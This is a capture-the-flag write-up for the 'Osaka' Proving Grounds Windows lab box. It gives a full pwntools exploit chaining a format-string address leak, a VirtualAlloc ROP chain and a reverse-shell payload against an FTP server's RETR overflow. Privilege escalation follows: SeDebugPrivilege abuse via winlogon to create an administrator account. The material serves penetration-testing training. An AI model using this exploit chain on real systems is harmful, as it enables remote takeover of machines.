Skip to content

Osaka Writeup - Proving Grounds

Hard Windows

Created October 8, 2026 • Last updated October 8, 2026 • 4 min read

Osaka exposes a custom "Simple FTP Server" whose DEBUG command leaks the binary's base address through a format string bug, and whose RETR command overflows the stack. Chaining a ROP gadget set that calls VirtualAlloc defeats DEP and drops a shellcode reverse shell as a low-privileged user. From there, an enabled SeDebugPrivilege lets a public tool hijack winlogon to run commands as SYSTEM, which is used to create a new local administrator.

Reconnaissance

Nmap

Scan the target for open services.

┌──(kali㉿kali)-[~]
└─$ nmap -p- $TARGET_IP -Pn
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Welcome to Simple FTP Server
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: Simple; OS: Windows; CPE: cpe:/o:microsoft:windows
Explain command
-p- Scan all 65535 TCP ports.

A custom FTP banner stands out against the usual Windows services. Any username and password logs in, and the server exposes its own binary for download.

Pulling the FTP binary

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ USER admin
┌──(kali㉿kali)-[~]
└─$ PASS admin
┌──(kali㉿kali)-[~]
└─$ binary
┌──(kali㉿kali)-[~]
└─$ get ftp.exe
220 Welcome to Simple FTP Server
230 Login successful
226 File transfer complete.

Local static analysis of ftp.exe turns up two bugs: the DEBUG command passes attacker input straight into a format string, leaking stack data including the binary's own base address and defeating ASLR, and the RETR command copies its argument into a fixed-size stack buffer with no bounds check. DEP is enabled, so landing straight on shellcode on the stack won't execute, which calls for a ROP chain that first marks a region executable.

Exploitation

Buffer overflow with a VirtualAlloc ROP chain

Leak the base address with the format string bug, then build a ROP chain out of gadgets inside the binary that calls VirtualAlloc to allocate executable memory, pivots into it, and runs a staged shellcode reverse shell.

from pwn import *

sc = b""
sc += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
sc += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
# <snip> windows/shell_reverse_tcp staged shellcode, LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT

p = remote('$TARGET_IP', 21, level='debug')
p.recvuntil(b"220 Welcome to Simple FTP Server")
p.sendline(b"USER admin")
p.recvuntil(b"331 User OK, password required")
p.sendline(b"PASS admin")
p.recvuntil(b"230 Login successful")

# Leak the binary base via a format string bug in the DEBUG command
p.sendline(b"DEBUG " + b"%x|" * 100)
leak = p.recvlines(numlines=2)[-1][6:].split(b"|")
leak_pie = int(leak[0], 16)
bin_base = leak_pie - 0x10f0
print(f"Binary Base: {hex(bin_base)}")

total = 1000
rop_gadgets = [
    0xe145 + bin_base,   # POP EBP # RETN
    0xe145 + bin_base,   # skip 4 bytes
    0x1d5a9 + bin_base,  # POP EBX # RETN
    0x1,                 # EBX = 1
    0x1bd7e + bin_base,  # POP EDX # RETN
    0x1000,              # EDX = 0x1000 (VirtualAlloc size)
    0x11a2b + bin_base,  # POP ECX # RETN
    0x40,                # ECX = PAGE_EXECUTE_READWRITE
    0x4667 + bin_base,   # POP EDI # RETN
    0x4682 + bin_base,   # RETN (ROP NOP)
    0x1dff + bin_base,   # POP ESI # RETN
    0x14adb + bin_base,  # JMP [EAX]
    0x1d2bf + bin_base,  # POP EAX # RETN
    0x1e008 + bin_base,  # ptr to &VirtualAlloc() [IAT]
    0x10d6 + bin_base,   # PUSHAD # RETN
    0x10da + bin_base,   # JMP ESP
]
rop = b"".join(p32(g) for g in rop_gadgets)

buf = b"A" * (268 + 4)
buf += rop
buf += b"\x90" * 10   # NOP sled
buf += sc
buf += b"B" * (total - len(buf))
p.sendline(b"RETR " + buf + b"\r\n")

Generate the matching staged payload and run the exploit against the RETR command.

┌──(kali㉿kali)-[~]
└─$ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f python -v sc
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py
Binary Base: 0x6f4a0000
[+] Opening connection to $TARGET_IP on port 21: Done

The listener catches a shell reliably.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
Connection received on $TARGET_IP
Microsoft Windows

C:\dev>whoami
osakawilson

Shell as osakawilson. Check assigned privileges before enumerating further.

Privilege Escalation

SeDebugPrivilege abuse

PS C:\Users\Guest\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------

Privilege Name                  Description                                   State
=============================== ============================================= ========
SeLoadDriverPrivilege           Load and unload device drivers                Disabled
SeDebugPrivilege                Debug programs                                Enabled
SeChangeNotifyPrivilege         Bypass traverse checking                      Enabled
SeIncreaseWorkingSetPrivilege   Increase a process working set                Disabled

SeDebugPrivilege is enabled, which lets this account open and manipulate any process, including SYSTEM ones. psgetsystem is a public PowerShell tool built exactly for this: it opens a handle to a SYSTEM process with SeDebugPrivilege and spawns a child process that inherits its token.

┌──(kali㉿kali)-[~]
└─$ wget https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 ...
PS C:\Users\Guest\Desktop> iwr http://$ATTACKER_IP:8000/psgetsys.ps1 -o psgetsys.ps1
PS C:\Users\Guest\Desktop> import-module .\psgetsys.ps1
PS C:\Users\Guest\Desktop> Get-Process winlogon
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    595      22     9208      14604       0.48    556   1 winlogon

winlogon always runs as SYSTEM. Feed its PID into CreateProcessFromParent to spawn a command as that token, first confirming it, then creating a new local administrator.

PS C:\Users\Guest\Desktop> [MyProcess]::CreateProcessFromParent('556', 'c:\windows\system32\cmd.exe', '/c whoami')
PS C:\Users\Guest\Desktop> [MyProcess]::CreateProcessFromParent('556', 'c:\windows\system32\cmd.exe', '/c net user offsec Start123! /add')
PS C:\Users\Guest\Desktop> [MyProcess]::CreateProcessFromParent('556', 'c:\windows\system32\cmd.exe', '/c net localgroup administrators offsec /add')
nt authority\system
The command completed successfully.
The command completed successfully.

The new offsec account is now a local administrator, confirmed over RDP with a SYSTEM-level shell already proven through winlogon impersonation.

References